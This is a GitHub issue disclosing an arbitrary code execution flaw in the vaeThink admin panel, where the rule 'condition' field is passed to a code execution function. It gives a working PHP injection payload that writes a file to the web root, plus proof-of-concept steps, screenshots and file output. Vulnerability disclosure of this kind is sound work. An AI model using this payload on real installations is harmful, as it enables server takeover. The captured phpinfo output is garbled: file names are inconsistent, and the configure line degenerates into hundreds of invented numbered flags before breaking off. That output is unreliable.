

New issue

[Jump to bottom](#)

There is an Arbitrary Code Execution Vulnerability #1

[Open](#) MRdoulestar opened this issue on May 14, 2019 · 0 comments

MRdoulestar commented on May 14, 2019

Vulnerability description:

There is a vulnerability which allows remote attackers to execute arbitrary code. The user can control the value of the field 'condition' of the database table 'vae_admin_rule', which is used for the parameters of the code execution function in the administrator privilege check module.

Payload:

```
123);system("echo ".base64_decode("Ijw/cGhwIHBoeGluc28oKTsi").>yuns1e.php")
```

POC:

Firstly, we put the payload into the place as follows:

ID	名称	上级ID	规则	附加规则	操作
04	删除导航菜单	04	nav/delete		添加 删除
91	管理导航	83	nav/navinfo		添加 删除
92	导航列表	91	nav/getNavinfoList		添加 删除
93	添加导航	91	nav/addNavinfo		添加 删除
94	保存添加的导航	93	nav/addNavinfoSubmit		添加 删除
95	保存修改的导航	91	nav/editNavinfoSubmit		添加 删除
96	删除导航	91	nav/deleteNavinfo		添加 删除
6	插件				添加 删除
61	钩子管理	6	hook/index		添加 删除
62	钩子列表	61	hook/getHookList		添加 删除
63	插件管理	6	plugin/index		添加 删除
64	插件列表	63	plugin/getPluginList	123);system("echo ".base64_decode("Ijw/cGhwIHBoeGluc28oKTsi").>yuns1e.php")	添加 删除
65	启用插件	63	plugin/start		添加 删除
66	禁用插件	63	plugin/disabled		添加 删除
67	卸载插件	63	plugin/uninstall		添加 删除
68	安装插件	63	plugin/install		添加 删除
97	配置插件	63	plugin/setConfig		添加 删除

Then we create a new role group, which has limited privileges:

The screenshot shows the 'vaeThink' admin interface. The left sidebar has a menu with '系统' (System) expanded, showing '菜单' (Menu), '节点' (Nodes), '路由' (Routes), '配置' (Config), '管理' (Management), '门户' (Portal), and '插件' (Plugins). The '管理' (Management) section is highlighted with a red arrow. The main content area is titled '角色名称 test' (Role Name: test). It has two tabs: '权限配置' (Permission Configuration) and '菜单配置' (Menu Configuration). The '权限配置' tab is active, showing a tree structure of permissions. A red box highlights the '插件' (Plugins) section, which includes '钩子管理' (Hook Management), '钩子列表' (Hook List), '插件管理' (Plugin Management), '插件列表' (Plugin List), '启用插件' (Enable Plugin), '禁用插件' (Disable Plugin), '卸载插件' (Uninstall Plugin), '安装插件' (Install Plugin), and '配置插件' (Configure Plugin). Below the tree, there are radio buttons for '状态' (Status): '正常' (Normal) and '禁用' (Disabled). A text input field for '备注' (Remarks) is present, followed by '提交' (Submit) and '重置' (Reset) buttons.

And we create a user that belongs to this role group:

The screenshot shows the 'vaeThink' admin interface for creating a new user. The left sidebar is the same as the previous screenshot. The main content area is titled '用户' (User). It has fields for '用户名' (Username) with value 'test', '密码' (Password) with masked input, '确认密码' (Confirm Password) with masked input, '昵称' (Nickname) with value 'test', and '手机' (Mobile) with value '0'. A note says '注: 如果填了密码和确认密码, 系统则默认是重置密码行为' (Note: If you fill in the password and confirm password, the system will default to the password reset behavior). There is an '上传头像' (Upload Avatar) button. Below these fields, there is a '分组' (Group) section with two options: '系统所有者' (System Owner) and 'test' (selected with a green checkmark and a red arrow). There are radio buttons for '状态' (Status): '正常' (Normal) and '禁止登录' (Prohibit Login). A text input field for '备注' (Remarks) is present, followed by '立即提交' (Submit Immediately) and '重置' (Reset) buttons.


The screenshot shows a web browser window with the address bar displaying '127.0.0.1/index.php/admin/index/index.html'. The page title is 'vaeThink'. The navigation bar includes links like '首页', '节点', '路由', '菜单', '分类', '文章', '轮播', '导航', '回收站', '内置钩子', and '管理组'. A red box highlights the JSON error message: `{"code":0,"msg": "您没有权限,请联系系统所有者","url": "", "data": []}`.

```
(py36) ➔ public git:(master) ✕ ll
total 48
-rwxrwxrwx 1 macro admin 4.2K 5 14 09:08 favicon.ico
-rwxrwxrwx 1 macro admin 1.3K 5 14 09:08 index.php
-rwxrwxrwx 3 macro admin 968 5 14 09:08 plugin
-rwxrwxrwx 1 macro admin 248 5 14 09:08 robots.txt
-rwxrwxrwx 3 macro admin 968 5 14 09:08 static
-rwxrwxrwx 3 macro admin 968 5 14 09:08 themes
-rwxrwxrwx 3 macro admin 968 5 14 11:19 unload
-rw-r--r-- 1 daemon admin 178 5 14 20:42 yunsle.php
(py36) ➔ public git:(master) ✕ cat yunsle.php
<?php phinfo();
```

127.0.0.1yunsle.php

官方站点 新手上路 常用网址 京东商城 最常访问 火狐官方网站 新手上路 常用网址 Error 京东商城

PHP Version 5.6.38



System	Darwin yunsleMacBook-Pro.local 18.2.0 Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_ARM_T8040 x86_64
Build Date	Sep 17 2018 06:51:36
Configure Command	'./configure' '--prefix=/Applications/XAMPP/xamppfiles' '--with-apxs2=/Applications/XAMPP/xamppfiles/bin/apxs' '--with-config-file-path=/Applications/XAMPP/xamppfiles/etc' '--with-mysql=mysqlnd' '--enable-inline-optimization' '--disable-debug' '--enable-bcmath' '--enable-calendar' '--enable-ctype' '--enable-ftp' '--enable-gd-native-ttf' '--enable-gd-native-qt' '--enable-gd' '--enable-gd-jpeg' '--enable-gd-tiff' '--enable-gd-xpm' '--enable-gd-fonts' '--enable-gd-t2' '--enable-gd-t1' '--enable-gd-t1lib' '--enable-gd-t1lib2' '--enable-gd-t1lib3' '--enable-gd-t1lib4' '--enable-gd-t1lib5' '--enable-gd-t1lib6' '--enable-gd-t1lib7' '--enable-gd-t1lib8' '--enable-gd-t1lib9' '--enable-gd-t1lib10' '--enable-gd-t1lib11' '--enable-gd-t1lib12' '--enable-gd-t1lib13' '--enable-gd-t1lib14' '--enable-gd-t1lib15' '--enable-gd-t1lib16' '--enable-gd-t1lib17' '--enable-gd-t1lib18' '--enable-gd-t1lib19' '--enable-gd-t1lib20' '--enable-gd-t1lib21' '--enable-gd-t1lib22' '--enable-gd-t1lib23' '--enable-gd-t1lib24' '--enable-gd-t1lib25' '--enable-gd-t1lib26' '--enable-gd-t1lib27' '--enable-gd-t1lib28' '--enable-gd-t1lib29' '--enable-gd-t1lib30' '--enable-gd-t1lib31' '--enable-gd-t1lib32' '--enable-gd-t1lib33' '--enable-gd-t1lib34' '--enable-gd-t1lib35' '--enable-gd-t1lib36' '--enable-gd-t1lib37' '--enable-gd-t1lib38' '--enable-gd-t1lib39' '--enable-gd-t1lib40' '--enable-gd-t1lib41' '--enable-gd-t1lib42' '--enable-gd-t1lib43' '--enable-gd-t1lib44' '--enable-gd-t1lib45' '--enable-gd-t1lib46' '--enable-gd-t1lib47' '--enable-gd-t1lib48' '--enable-gd-t1lib49' '--enable-gd-t1lib50' '--enable-gd-t1lib51' '--enable-gd-t1lib52' '--enable-gd-t1lib53' '--enable-gd-t1lib54' '--enable-gd-t1lib55' '--enable-gd-t1lib56' '--enable-gd-t1lib57' '--enable-gd-t1lib58' '--enable-gd-t1lib59' '--enable-gd-t1lib60' '--enable-gd-t1lib61' '--enable-gd-t1lib62' '--enable-gd-t1lib63' '--enable-gd-t1lib64' '--enable-gd-t1lib65' '--enable-gd-t1lib66' '--enable-gd-t1lib67' '--enable-gd-t1lib68' '--enable-gd-t1lib69' '--enable-gd-t1lib70' '--enable-gd-t1lib71' '--enable-gd-t1lib72' '--enable-gd-t1lib73' '--enable-gd-t1lib74' '--enable-gd-t1lib75' '--enable-gd-t1lib76' '--enable-gd-t1lib77' '--enable-gd-t1lib78' '--enable-gd-t1lib79' '--enable-gd-t1lib80' '--enable-gd-t1lib81' '--enable-gd-t1lib82' '--enable-gd-t1lib83' '--enable-gd-t1lib84' '--enable-gd-t1lib85' '--enable-gd-t1lib86' '--enable-gd-t1lib87' '--enable-gd-t1lib88' '--enable-gd-t1lib89' '--enable-gd-t1lib90' '--enable-gd-t1lib91' '--enable-gd-t1lib92' '--enable-gd-t1lib93' '--enable-gd-t1lib94' '--enable-gd-t1lib95' '--enable-gd-t1lib96' '--enable-gd-t1lib97' '--enable-gd-t1lib98' '--enable-gd-t1lib99' '--enable-gd-t1lib100' '--enable-gd-t1lib101' '--enable-gd-t1lib102' '--enable-gd-t1lib103' '--enable-gd-t1lib104' '--enable-gd-t1lib105' '--enable-gd-t1lib106' '--enable-gd-t1lib107' '--enable-gd-t1lib108' '--enable-gd-t1lib109' '--enable-gd-t1lib110' '--enable-gd-t1lib111' '--enable-gd-t1lib112' '--enable-gd-t1lib113' '--enable-gd-t1lib114' '--enable-gd-t1lib115' '--enable-gd-t1lib116' '--enable-gd-t1lib117' '--enable-gd-t1lib118' '--enable-gd-t1lib119' '--enable-gd-t1lib120' '--enable-gd-t1lib121' '--enable-gd-t1lib122' '--enable-gd-t1lib123' '--enable-gd-t1lib124' '--enable-gd-t1lib125' '--enable-gd-t1lib126' '--enable-gd-t1lib127' '--enable-gd-t1lib128' '--enable-gd-t1lib129' '--enable-gd-t1lib130' '--enable-gd-t1lib131' '--enable-gd-t1lib132' '--enable-gd-t1lib133' '--enable-gd-t1lib134' '--enable-gd-t1lib135' '--enable-gd-t1lib136' '--enable-gd-t1lib137' '--enable-gd-t1lib138' '--enable-gd-t1lib139' '--enable-gd-t1lib140' '--enable-gd-t1lib141' '--enable-gd-t1lib142' '--enable-gd-t1lib143' '--enable-gd-t1lib144' '--enable-gd-t1lib145' '--enable-gd-t1lib146' '--enable-gd-t1lib147' '--enable-gd-t1lib148' '--enable-gd-t1lib149' '--enable-gd-t1lib150' '--enable-gd-t1lib151' '--enable-gd-t1lib152' '--enable-gd-t1lib153' '--enable-gd-t1lib154' '--enable-gd-t1lib155' '--enable-gd-t1lib156' '--enable-gd-t1lib157' '--enable-gd-t1lib158' '--enable-gd-t1lib159' '--enable-gd-t1lib160' '--enable-gd-t1lib161' '--enable-gd-t1lib162' '--enable-gd-t1lib163' '--enable-gd-t1lib164' '--enable-gd-t1lib165' '--enable-gd-t1lib166' '--enable-gd-t1lib167' '--enable-gd-t1lib168' '--enable-gd-t1lib169' '--enable-gd-t1lib170' '--enable-gd-t1lib171' '--enable-gd-t1lib172' '--enable-gd-t1lib173' '--enable-gd-t1lib174' '--enable-gd-t1lib175' '--enable-gd-t1lib176' '--enable-gd-t1lib177' '--enable-gd-t1lib178' '--enable-gd-t1lib179' '--enable-gd-t1lib180' '--enable-gd-t1lib181' '--enable-gd-t1lib182' '--enable-gd-t1lib183' '--enable-gd-t1lib184' '--enable-gd-t1lib185' '--enable-gd-t1lib186' '--enable-gd-t1lib187' '--enable-gd-t1lib188' '--enable-gd-t1lib189' '--enable-gd-t1lib190' '--enable-gd-t1lib191' '--enable-gd-t1lib192' '--enable-gd-t1lib193' '--enable-gd-t1lib194' '--enable-gd-t1lib195' '--enable-gd-t1lib196' '--enable-gd-t1lib197' '--enable-gd-t1lib198' '--enable-gd-t1lib199' '--enable-gd-t1lib200' '--enable-gd-t1lib201' '--enable-gd-t1lib202' '--enable-gd-t1lib203' '--enable-gd-t1lib204' '--enable-gd-t1lib205' '--enable-gd-t1lib206' '--enable-gd-t1lib207' '--enable-gd-t1lib208' '--enable-gd-t1lib209' '--enable-gd-t1lib210' '--enable-gd-t1lib211' '--enable-gd-t1lib212' '--enable-gd-t1lib213' '--enable-gd-t1lib214' '--enable-gd-t1lib215' '--enable-gd-t1lib216' '--enable-gd-t1lib217' '--enable-gd-t1lib218' '--enable-gd-t1lib219' '--enable-gd-t1lib220' '--enable-gd-t1lib221' '--enable-gd-t1lib222' '--enable-gd-t1lib223' '--enable-gd-t1lib224' '--enable-gd-t1lib225' '--enable-gd-t1lib226' '--enable-gd-t1lib227' '--enable-gd-t1lib228' '--enable-gd-t1lib229' '--enable-gd-t1lib230' '--enable-gd-t1lib231' '--enable-gd-t1lib232' '--enable-gd-t1lib233' '--enable-gd-t1lib234' '--enable-gd-t1lib235' '--enable-gd-t1lib236' '--enable-gd-t1lib237' '--enable-gd-t1lib238' '--enable-gd-t1lib239' '--enable-gd-t1lib240' '--enable-gd-t1lib241' '--enable-gd-t1lib242' '--enable-gd-t1lib243' '--enable-gd-t1lib244' '--enable-gd-t1lib245' '--enable-gd-t1lib246' '--enable-gd-t1lib247' '--enable-gd-t1lib248' '--enable-gd-t1lib249' '--enable-gd-t1lib250' '--enable-gd-t1lib251' '--enable-gd-t1lib252' '--enable-gd-t1lib253' '--enable-gd-t1lib254' '--enable-gd-t1lib255' '--enable-gd-t1lib256' '--enable-gd-t1lib257' '--enable-gd-t1lib258' '--enable-gd-t1lib259' '--enable-gd-t1lib260' '--enable-gd-t1lib261' '--enable-gd-t1lib262' '--enable-gd-t1lib263' '--enable-gd-t1lib264' '--enable-gd-t1lib265' '--enable-gd-t1lib266' '--enable-gd-t1lib267' '--enable-gd-t1lib268' '--enable-gd-t1lib269' '--enable-gd-t1lib270' '--enable-gd-t1lib271' '--enable-gd-t1lib272' '--enable-gd-t1lib273' '--enable-gd-t1lib274' '--enable-gd-t1lib275' '--enable-gd-t1lib276' '--enable-gd-t1lib277' '--enable-gd-t1lib278' '--enable-gd-t1lib279' '--enable-gd-t1lib280' '--enable-gd-t1lib281' '--enable-gd-t1lib282' '--enable-gd-t1lib283' '--enable-gd-t1lib284' '--enable-gd-t1lib285' '--enable-gd-t1lib286' '--enable-gd-t1lib287' '--enable-gd-t1lib288' '--enable-gd-t1lib289' '--enable-gd-t1lib290' '--enable-gd-t1lib291' '--enable-gd-t1lib292' '--enable-gd-t1lib293' '--enable-gd-t1lib294' '--enable-gd-t1lib295' '--enable-gd-t1lib296' '--enable-gd-t1lib297' '--enable-gd-t1lib298' '--enable-gd-t1lib299' '--enable-gd-t1lib300' '--enable-gd-t1lib301' '--enable-gd-t1lib302' '--enable-gd-t1lib303' '--enable-gd-t1lib304' '--enable-gd-t1lib305' '--enable-gd-t1lib306' '--enable-gd-t1lib307' '--enable-gd-t1lib308' '--enable-gd-t1lib309' '--enable-gd-t1lib310' '--enable-gd-t1lib311' '--enable-gd-t1lib312' '--enable-gd-t1lib313' '--enable-gd-t1lib314' '--enable-gd-t1lib315' '--enable-gd-t1lib316' '--enable-gd-t1lib317' '--enable-gd-t1lib318' '--enable-gd-t1lib319' '--enable-gd-t1lib320' '--enable-gd-t1lib321' '--enable-gd-t1lib322' '--enable-gd-t1lib323' '--enable-gd-t1lib324' '--enable-gd-t1lib325' '--enable-gd-t1lib326' '--enable-gd-t1lib327' '--enable-gd-t1lib328' '--enable-gd-t1lib329' '--enable-gd-t1lib330' '--enable-gd-t1lib331' '--enable-gd-t1lib332' '--enable-gd-t1lib333' '--enable-gd-t1lib334' '--enable-gd-t1lib335' '--enable-gd-t1lib336' '--enable-gd-t1lib337' '--enable-gd-t1lib338' '--enable-gd-t1lib339' '--enable-gd-t1lib340' '--enable-gd-t1lib341' '--enable-gd-t1lib342' '--enable-gd-t1lib343' '--enable-gd-t1lib344' '--enable

No one assigned

None yet

None yet

No milestone

Development

No branches or pull requests

1 participant

